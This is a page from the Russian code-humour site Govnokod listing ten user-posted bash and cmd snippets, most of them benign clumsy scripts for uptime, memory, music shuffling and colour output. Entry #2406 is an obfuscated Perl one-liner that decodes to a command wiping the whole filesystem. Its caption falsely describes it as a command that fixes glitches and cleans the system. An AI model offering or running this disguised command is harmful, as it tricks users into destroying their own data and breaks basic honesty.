1. bash / Говнокод #2944

    −143.2

    1. 1
    2. 2
    3. 3
    4. 4
    # Это не баш, это cmd.exe, просто в ListBox'e нет интерпретатора Винды, что намекает как бы, но коль родственно немного
    # тем более покажемс Вам POSIX Винды
    
    SET a1 = [time /T] && SET b1 = [\time.%a1%.tmp] && whoami /all > %b1% && notepad %b1% && edit %b1%

    Это не баш, это cmd.exe, просто в ListBox'e нет интерпретатора Винды, что намекает как бы, но коль родственно немного, тем более покажемс Вам POSIX Винды.

    sergylens, 06 Апреля 2010

    Комментарии (7)
  2. bash / Говнокод #2884

    −133.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    nettest() {
      ping -c $1 $2 > /dev/null 2>&1
      if [ "$?" -eq "0" ] ; then
         true
      else
         false
      fi
    }
    
    idroot() {
      if [ "`id -u`" -eq "0" ] ; then
         true
      else
         false
      fi
    }
    
    greenc() {
      printf "\033[1;32;40m$1"
    }
    
    redc() {
      printf "\033[1;31;40m$1"
    }
    
    yellowc() {
      printf "\033[1;33;40m$1"
    }
    
    whitec() {
      printf "\033[1;37;40m$1"
    }
    
    normc() {
      printf "\033[0;37;40m$1"
    }
    
    grayc() {
      printf "\033[1;30;40m$1"
    }

    Мудак который это написал - я :))
    Нужна была небольшая библиотека для скрипта.

    buildworld, 28 Марта 2010

    Комментарии (21)
  3. bash / Говнокод #2860

    −139.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    #!/bin/bash
    musicdir='/home/neko/Music/mdata'
    
    maxval=`ls -1 $musicdir | wc -l`
    
    randomize() {
    rndnum=`echo $[$(echo $[$RANDOM % $maxval])+1]`
    }
    
    randomize;
    
    while [ "$rndnum" == 0 ]; do randomize; done
    
    rndsong=`ls $musicdir | head -n $rndnum | tail -n 1`
    
    echo $rndsong

    Собственно, "случайное воспроизведение".

    snoopcatt, 24 Марта 2010

    Комментарии (14)
  4. bash / Говнокод #2842

    −139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    #!/bin/bash
    
      upSeconds=`cat /proc/uptime`;
      upSeconds=${upSeconds%%.*};
      let secs=$((${upSeconds}%60))
      let mins=$((${upSeconds}/60%60))
      let hours=$((${upSeconds}/3600%24))
      let days=$((${upSeconds}/86400))
      echo -n 'Время работы: '
      if [ "${days}" -ne "0" ]
      then
       echo -n "${days} дней"
      fi
      echo -n "${hours} часов ${mins} минут"

    Кавайненько показываем uptime компьютера вместо унылого вывода $uptime *_*

    snoopcatt, 22 Марта 2010

    Комментарии (8)
  5. bash / Говнокод #2837

    −136.4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    FREEKB=$[$(sed -n 2p /proc/meminfo  |  awk '{ print $2 }')+$(sed -n 3p /proc/meminfo  |  awk '{ print $2 }')+$(sed -n 4p /proc/meminfo  |  awk '{ print $2 }') ]
    USEDKB=$[$(head -n 1 /proc/meminfo | awk '{ print $2 }')-$FREEKB ]
     
    echo "Свободно: $[$FREEKB/1024] Мегабайт ($FREEKB килобайт)"
    echo "Занято: $[$USEDKB/1024] Мегабайт ($USEDKB килобайт)"

    Получение свободной и использованной оперативной памяти (;

    snoopcatt, 22 Марта 2010

    Комментарии (8)
  6. bash / Говнокод #2827

    −131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    #! /bin/bash
    
    # файл имоты или коначана
    srcfile=$1
    # файл санкаки или данборы
    dubfile=$2
    echo Lines:
    echo -n Before:
    wc -l $dubfile
    a=`pcregrep -o -e '[a-f0-9]{32}' $srcfile|head -n 1`
    for i in `pcregrep -o -e '[a-f0-9]{32}' $srcfile`
    do
    a=$a\|$i
    done;
    cat $dubfile|grep -v -E -e $a > out.$dubfile
    echo -n After:
    wc -l out.$dubfile

    Поиск дублей

    Radjah, 19 Марта 2010

    Комментарии (6)
  7. bash / Говнокод #2755

    −128.8

    1. 1
    2. 2
    #102 Проверка конфигурации PHP в консоли 
    $ php -r "phpinfo\(\);"

    php -i уже не в моде

    DrFreez, 11 Марта 2010

    Комментарии (2)
  8. bash / Говнокод #2406

    −91.4

    1. 1
    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

    Команда спасает от глюков и чистит систему.

    Говногость, 14 Января 2010

    Комментарии (23)
  9. bash / Говнокод #2391

    −372.7

    1. 1
    ssh root@localhost

    вместо su

    jdponomarev, 10 Января 2010

    Комментарии (19)
  10. bash / Говнокод #2248

    −119.4

    1. 1
    2. 2
    3. 3
    if [ "${notmono}" = "1" ]   # 1 means no
                    then ifmono="--downmix"
                    fi

    Обфускация ))

    Name_No, 08 Декабря 2009

    Комментарии (2)